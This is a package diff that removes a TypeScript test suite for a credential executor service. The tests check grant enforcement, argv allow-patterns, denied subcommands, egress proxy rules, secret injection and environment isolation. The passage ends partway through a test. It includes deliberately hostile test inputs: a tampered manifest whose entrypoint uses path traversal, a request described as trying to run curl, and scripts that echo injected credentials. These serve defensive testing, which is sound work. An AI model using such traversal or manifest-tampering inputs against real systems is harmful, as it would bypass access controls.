@vellumai/credential-executor 0.10.7 → 0.10.8-dev.202607102228.5945895

package/src/__tests__/command-executor.test.ts

@@ -1,1879 +0,0 @@
-/**
- * Tests for CES authenticated command execution.
- *
- * Covers:
- * 1. Local static-secret command profile execution
- * 2. Local OAuth command profile execution
- * 3. Managed OAuth command profile execution
- * 4. Banned binary rejection at execution time
- * 5. Missing `proxy_required` egress hooks rejection
- * 6. Invalid auth adapter config rejection
- * 7. Undeclared output file rejection
- * 8. Off-target outbound request blocking (via egress proxy)
- * 9. Bundle digest mismatch (unpublished bundle)
- * 10. Profile not found in manifest
- * 11. Argv does not match any allowed pattern
- * 12. Missing grant rejection
- * 13. Credential materialization failure
- * 14. Command string parsing for RPC handler
- */
-
-import { describe, expect, test, beforeEach, afterEach } from "bun:test";
-import {
-  mkdirSync,
-  writeFileSync,
-  readFileSync,
-  rmSync,
-  chmodSync,
-  symlinkSync,
-  unlinkSync,
-  realpathSync,
-} from "node:fs";
-import { join } from "node:path";
-import { tmpdir } from "node:os";
-import { randomUUID } from "node:crypto";
-
-import { AuthAdapterType } from "../commands/auth-adapters.js";
-import {
-  EgressMode,
-  MANIFEST_SCHEMA_VERSION,
-  type SecureCommandManifest,
-} from "../commands/profiles.js";
-import {
-  executeAuthenticatedCommand,
-  type ExecuteCommandRequest,
-  type CommandExecutorDeps,
-  type MaterializeCredentialFn,
-} from "../commands/executor.js";
-import { PersistentGrantStore } from "../grants/persistent-store.js";
-import { TemporaryGrantStore } from "../grants/temporary-store.js";
-import {
-  publishBundle,
-  getBundleManifestPath,
-  getBundleDir,
-} from "../toolstore/publish.js";
-import { getCesToolStoreDir, getCesDataRoot } from "../paths.js";
-import { computeDigest } from "../toolstore/integrity.js";
-import {
-  hashProposal,
-  type CommandGrantProposal,
-} from "@vellumai/service-contracts/credential-rpc";
-
-// ---------------------------------------------------------------------------
-// Test helpers
-// ---------------------------------------------------------------------------
-
-/** Generate a temp directory for test isolation. */
-function makeTempDir(prefix: string): string {
-  const dir = join(tmpdir(), `${prefix}-${randomUUID()}`);
-  mkdirSync(dir, { recursive: true });
-  return dir;
-}
-
-/**
- * Build a minimal valid SecureCommandManifest for testing.
- */
-function buildManifest(
-  overrides: Partial<SecureCommandManifest> = {},
-): SecureCommandManifest {
-  return {
-    schemaVersion: MANIFEST_SCHEMA_VERSION,
-    bundleDigest: "", // Filled by publishTestBundle
-    bundleId: "test-cli",
-    version: "1.0.0",
-    entrypoint: "bin/test-cli",
-    commandProfiles: {
-      list: {
-        description: "List resources",
-        allowedArgvPatterns: [
-          {
-            name: "list-all",
-            tokens: ["list", "--format", "<format>"],
-          },
-        ],
-        deniedSubcommands: ["auth login"],
-        allowedNetworkTargets: [
-          {
-            hostPattern: "api.example.com",
-            protocols: ["https"],
-          },
-        ],
-      },
-      get: {
-        description: "Get a single resource",
-        allowedArgvPatterns: [
-          {
-            name: "get-by-id",
-            tokens: ["get", "<id>"],
-          },
-        ],
-        deniedSubcommands: [],
-        allowedNetworkTargets: [
-          {
-            hostPattern: "api.example.com",
-            protocols: ["https"],
-          },
-        ],
-      },
-    },
-    authAdapter: {
-      type: AuthAdapterType.EnvVar,
-      envVarName: "TEST_API_KEY",
-    },
-    egressMode: EgressMode.ProxyRequired,
-    ...overrides,
-  };
-}
-
-/**
- * Publish a test bundle into the CES toolstore and return the digest.
- *
- * Creates a real tar.gz archive containing the entrypoint shell script
- * at the manifest's declared entrypoint path, then publishes it through
- * the actual publishBundle function so the extraction path is exercised.
- */
-function publishTestBundle(
-  manifest: SecureCommandManifest,
-  cesMode: "local" | "managed" = "local",
-  scriptContent = '#!/bin/sh\necho "hello from test-cli"\n',
-): { digest: string; manifest: SecureCommandManifest } {
-  // Build a tar.gz archive containing the entrypoint at the declared path
-  const archiveStagingDir = makeTempDir("ces-archive-staging");
-  try {
-    const entrypoint = manifest.entrypoint || "bin/test-cli";
-    const entrypointFullPath = join(archiveStagingDir, entrypoint);
-    mkdirSync(join(archiveStagingDir, entrypoint, ".."), { recursive: true });
-    writeFileSync(entrypointFullPath, scriptContent, { mode: 0o755 });
-
-    // Create tar.gz archive
-    const archivePath = join(archiveStagingDir, "bundle.tar.gz");
-    const tarProc = Bun.spawnSync(
-      ["tar", "czf", archivePath, "-C", archiveStagingDir, entrypoint],
-      { stdout: "pipe", stderr: "pipe" },
-    );
-    if (tarProc.exitCode !== 0) {
-      const stderr = tarProc.stderr
-        ? new TextDecoder().decode(tarProc.stderr).trim()
-        : "unknown error";
-      throw new Error(`Failed to create test archive: ${stderr}`);
-    }
-
-    const bundleBytes = Buffer.from(readFileSync(archivePath));
-    const digest = computeDigest(bundleBytes);
-
-    // Update the manifest with the computed digest
-    const fullManifest: SecureCommandManifest = {
-      ...manifest,
-      bundleDigest: digest,
-    };
-
-    const result = publishBundle({
-      bundleBytes,
-      expectedDigest: digest,
-      bundleId: fullManifest.bundleId,
-      version: fullManifest.version,
-      sourceUrl: "https://releases.example.com/test-cli-1.0.0.tar.gz",
-      secureCommandManifest: fullManifest,
-      cesMode,
-    });
-
-    if (!result.success) {
-      throw new Error(`Failed to publish test bundle: ${result.error}`);
-    }
-
-    return { digest, manifest: fullManifest };
-  } finally {
-    try {
-      rmSync(archiveStagingDir, { recursive: true, force: true });
-    } catch {
-      // Best-effort cleanup
-    }
-  }
-}
-
-/**
- * Create a successful credential materializer for testing.
- */
-function successMaterializer(
-  value = "test-secret-value",
-): MaterializeCredentialFn {
-  return async (_handle: string) => ({
-    ok: true as const,
-    value,
-    handleType: "local_static",
-  });
-}
-
-/**
- * Create a failing credential materializer for testing.
- */
-function failMaterializer(error = "Secret not found"): MaterializeCredentialFn {
-  return async (_handle: string) => ({
-    ok: false as const,
-    error,
-  });
-}
-
-/**
- * Build minimal executor deps for testing.
- */
-function buildDeps(
-  overrides: Partial<CommandExecutorDeps> = {},
-): CommandExecutorDeps {
-  const grantsDir = makeTempDir("ces-grants");
-  const persistentStore = new PersistentGrantStore(grantsDir);
-  persistentStore.init();
-
-  return {
-    persistentStore,
-    temporaryStore: new TemporaryGrantStore(),
-    materializeCredential: successMaterializer(),
-    cesMode: "local",
-    ...overrides,
-  };
-}
-
-/**
- * Add a command grant to the persistent store.
- *
- * Pattern uses the canonical triple: `credentialHandle:bundleDigest:profileName`.
- */
-function addCommandGrant(
-  store: PersistentGrantStore,
-  credentialHandle: string,
-  bundleDigest: string,
-  profileName: string,
-): void {
-  store.add({
-    id: randomUUID(),
-    tool: "command",
-    pattern: `${credentialHandle}:${bundleDigest}:${profileName}`,
-    scope: credentialHandle,
-    createdAt: Date.now(),
-    sessionId: "test-session",
-  });
-}
-
-/**
- * Add a temporary command grant.
- *
- * Constructs the same CommandGrantProposal shape that the executor builds
- * and hashes it with `hashProposal` from `@vellumai/service-contracts` so the
- * hashes align.
- */
-function addTemporaryCommandGrant(
-  store: TemporaryGrantStore,
-  credentialHandle: string,
-  bundleDigest: string,
-  profileName: string,
-  kind: "allow_once" | "allow_10m" | "allow_conversation" = "allow_once",
-  conversationId?: string,
-  argv: string[] = [],
-  purpose: string = "Test execution",
-): void {
-  const proposal: CommandGrantProposal = {
-    type: "command",
-    credentialHandle,
-    command: `${bundleDigest}/${profileName}${argv.length ? " " + argv.join(" ") : ""}`,
-    purpose,
-    allowedCommandPatterns: [
-      `${credentialHandle}:${bundleDigest}:${profileName}`,
-    ],
-  };
-  const proposalHash = hashProposal(proposal);
-  store.add(kind, proposalHash, { conversationId });
-}
-
-// ---------------------------------------------------------------------------
-// Test state management
-// ---------------------------------------------------------------------------
-
-let testWorkspaceDir: string;
-
-beforeEach(() => {
-  testWorkspaceDir = makeTempDir("ces-workspace");
-
-  // Set up a clean CES data root for tests
-  const cesRoot = getCesDataRoot("local");
-  mkdirSync(cesRoot, { recursive: true });
-  mkdirSync(getCesToolStoreDir("local"), { recursive: true });
-});
-
-afterEach(() => {
-  try {
-    rmSync(testWorkspaceDir, { recursive: true, force: true });
-  } catch {
-    // Best-effort cleanup
-  }
-});
-
-// ---------------------------------------------------------------------------
-// Bundle resolution tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — bundle resolution", () => {
-  test("rejects unpublished bundle digest", async () => {
-    const deps = buildDeps();
-    const request: ExecuteCommandRequest = {
-      bundleDigest: "0".repeat(64),
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test execution",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("not published");
-  });
-
-  test("rejects bundle with denied binary entrypoint at execution time", async () => {
-    // This is a defense-in-depth test — the manifest validator should
-    // catch this at publish time, but the executor also checks.
-    // We can't actually publish a denied-binary bundle because the
-    // validator rejects it, so we exercise the unresolved-digest path
-    // to verify the executor's own error surface exists. The denied
-    // binary list itself is tested exhaustively in
-    // command-validator.test.ts.
-    const deps = buildDeps();
-    const request: ExecuteCommandRequest = {
-      bundleDigest: "a".repeat(64),
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test execution",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    // Will fail at bundle resolution since digest isn't published
-    expect(result.error).toBeDefined();
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Profile validation tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — profile validation", () => {
-  test("rejects unknown profile name", async () => {
-    const manifest = buildManifest();
-    const { digest } = publishTestBundle(manifest);
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "nonexistent",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "nonexistent",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test execution",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("not found in manifest");
-  });
-
-  test("rejects argv that does not match any allowed pattern", async () => {
-    const manifest = buildManifest();
-    const { digest } = publishTestBundle(manifest);
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      // This doesn't match the pattern ["list", "--format", "<format>"]
-      argv: ["delete", "--all"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test execution",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("does not match any allowed pattern");
-  });
-
-  test("rejects denied subcommand", async () => {
-    const manifest = buildManifest();
-    const { digest } = publishTestBundle(manifest);
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["auth", "login"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test execution",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("denied");
-  });
-
-  test("rejects argv matching wrong profile", async () => {
-    const manifest = buildManifest();
-    const { digest } = publishTestBundle(manifest);
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    // argv matches the "get" profile, but we requested "list"
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["get", "resource-123"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test execution",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("does not match any pattern");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Grant enforcement tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — grant enforcement", () => {
-  test("rejects command without any grant", async () => {
-    const manifest = buildManifest();
-    const { digest } = publishTestBundle(manifest);
-
-    const deps = buildDeps();
-    // No grant added
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test execution",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("No active grant");
-  });
-
-  test("allows command with a persistent grant", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "hello"\n',
-    );
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test execution",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    // The command itself may fail (since the entrypoint is a test script),
-    // but it should get past the grant check
-    expect(result.error ?? "").not.toContain("No active grant");
-  });
-
-  test("allows command with a temporary grant", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "hello"\n',
-    );
-
-    const deps = buildDeps();
-    addTemporaryCommandGrant(
-      deps.temporaryStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-      "allow_once",
-      undefined,
-      ["list", "--format", "json"],
-      "Test execution",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test execution",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    // Should get past the grant check
-    expect(result.error ?? "").not.toContain("No active grant");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Credential materialization tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — credential materialization", () => {
-  test("rejects when credential materialization fails", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "credential materialization test"\n',
-    );
-
-    const deps = buildDeps({
-      materializeCredential: failMaterializer("Credential store is locked"),
-    });
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test execution",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("Credential materialization failed");
-    expect(result.error).toContain("Credential store is locked");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Auth adapter tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — auth adapters", () => {
-  test("env_var adapter injects credential as environment variable", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      authAdapter: {
-        type: AuthAdapterType.EnvVar,
-        envVarName: "MY_TOKEN",
-      },
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    // Script that prints the env var
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "$MY_TOKEN"\n',
-    );
-
-    const deps = buildDeps({
-      materializeCredential: successMaterializer("secret-token-123"),
-    });
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test env_var adapter",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    // The script should output the injected token
-    if (result.exitCode === 0) {
-      expect(result.stdout?.trim()).toBe("secret-token-123");
-    }
-    // If the script can't execute (path issues in test), verify we got past
-    // the adapter phase
-    expect(result.error ?? "").not.toContain("Auth adapter");
-  });
-
-  test("env_var adapter applies valuePrefix", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      authAdapter: {
-        type: AuthAdapterType.EnvVar,
-        envVarName: "AUTH_HEADER",
-        valuePrefix: "Bearer ",
-      },
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "$AUTH_HEADER"\n',
-    );
-
-    const deps = buildDeps({
-      materializeCredential: successMaterializer("my-oauth-token"),
-    });
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test env_var adapter with prefix",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    if (result.exitCode === 0) {
-      expect(result.stdout?.trim()).toBe("Bearer my-oauth-token");
-    }
-    expect(result.error ?? "").not.toContain("Auth adapter");
-  });
-
-  test("temp_file adapter writes credential to a file", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      authAdapter: {
-        type: AuthAdapterType.TempFile,
-        envVarName: "CRED_FILE",
-        fileExtension: ".json",
-      },
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    // Script that reads the file pointed to by CRED_FILE
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\ncat "$CRED_FILE"\n',
-    );
-
-    const deps = buildDeps({
-      materializeCredential: successMaterializer('{"key":"test-secret"}'),
-    });
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test temp_file adapter",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    if (result.exitCode === 0) {
-      expect(result.stdout?.trim()).toBe('{"key":"test-secret"}');
-    }
-    // Verify we got past the adapter phase
-    expect(result.error ?? "").not.toContain("Auth adapter");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Egress proxy enforcement tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — egress enforcement", () => {
-  test("rejects proxy_required without egress hooks", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.ProxyRequired,
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "egress enforcement test"\n',
-    );
-
-    const deps = buildDeps({
-      egressHooks: undefined, // No hooks provided
-    });
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test egress enforcement",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("proxy_required");
-    expect(result.error).toContain("no egress hooks");
-  });
-
-  test("allows no_network mode without egress hooks", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "offline mode"\n',
-    );
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test no_network mode",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    // Should get past egress check
-    expect(result.error ?? "").not.toContain("proxy_required");
-    expect(result.error ?? "").not.toContain("egress");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Command execution tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — command execution", () => {
-  test("executes a simple shell script successfully", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "success: $1 $2 $3"\n',
-    );
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test execution",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.exitCode).toBe(0);
-    expect(result.success).toBe(true);
-    expect(result.stdout).toContain("success: list --format json");
-  });
-
-  test("captures non-zero exit code", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "error" >&2\nexit 42\n',
-    );
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test non-zero exit",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.exitCode).toBe(42);
-    expect(result.success).toBe(false);
-    expect(result.stderr).toContain("error");
-  });
-
-  test("does not leak CES process environment to subprocess", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    // Script that tries to read a common CES env var
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "CES_MODE=${CES_MODE:-unset}"\necho "CREDENTIAL_SECURITY_DIR=${CREDENTIAL_SECURITY_DIR:-unset}"\n',
-    );
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test env isolation",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    if (result.exitCode === 0) {
-      expect(result.stdout).toContain("CES_MODE=unset");
-      expect(result.stdout).toContain("CREDENTIAL_SECURITY_DIR=unset");
-    }
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Output copyback tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — output copyback", () => {
-  test("copies declared output files back to workspace", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    // Script that creates an output file in the cwd
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho \'{"result":"ok"}\' > output.json\n',
-    );
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test output copyback",
-      outputs: [
-        {
-          scratchPath: "output.json",
-          workspacePath: "results/output.json",
-        },
-      ],
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    if (result.exitCode === 0) {
-      if (result.copybackResult) {
-        // Check if the output was detected
-        const outputResult = result.copybackResult.outputs[0];
-        expect(outputResult).toBeDefined();
-      }
-    }
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Banned binary defense-in-depth tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — banned binaries", () => {
-  test("rejects execution of denied binaries at bundle level", async () => {
-    // Since publishBundle validates the manifest, we can't publish
-    // a bundle with a denied binary. This test verifies the error path
-    // by checking that resolution fails for non-published digests.
-    const deps = buildDeps();
-    const request: ExecuteCommandRequest = {
-      bundleDigest: "b".repeat(64),
-      profileName: "fetch",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["https://example.com"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Try to run curl",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("not published");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Entrypoint path containment tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — entrypoint path containment", () => {
-  test("rejects entrypoint that escapes the bundle directory via path traversal", async () => {
-    // Publish a valid bundle with a safe entrypoint, then patch the
-    // toolstore manifest to inject a traversal path. This simulates a
-    // tampered manifest — publishBundle correctly rejects traversal
-    // entrypoints during extraction, so the containment check in the
-    // executor is a defense-in-depth layer.
-    const safeManifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      entrypoint: "bin/test-cli",
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      safeManifest,
-      "local",
-      '#!/bin/sh\necho "should not run"\n',
-    );
-
-    // Patch the toolstore manifest to inject a traversal entrypoint.
-    // The manifest is published as read-only (0o444), so chmod first.
-    const toolstoreDir = getCesToolStoreDir("local");
-    const manifestPath = getBundleManifestPath(toolstoreDir, digest);
-    chmodSync(manifestPath, 0o644);
-    const storedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
-    storedManifest.secureCommandManifest.entrypoint = "../../usr/bin/git";
-    writeFileSync(manifestPath, JSON.stringify(storedManifest, null, 2) + "\n");
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test path traversal",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
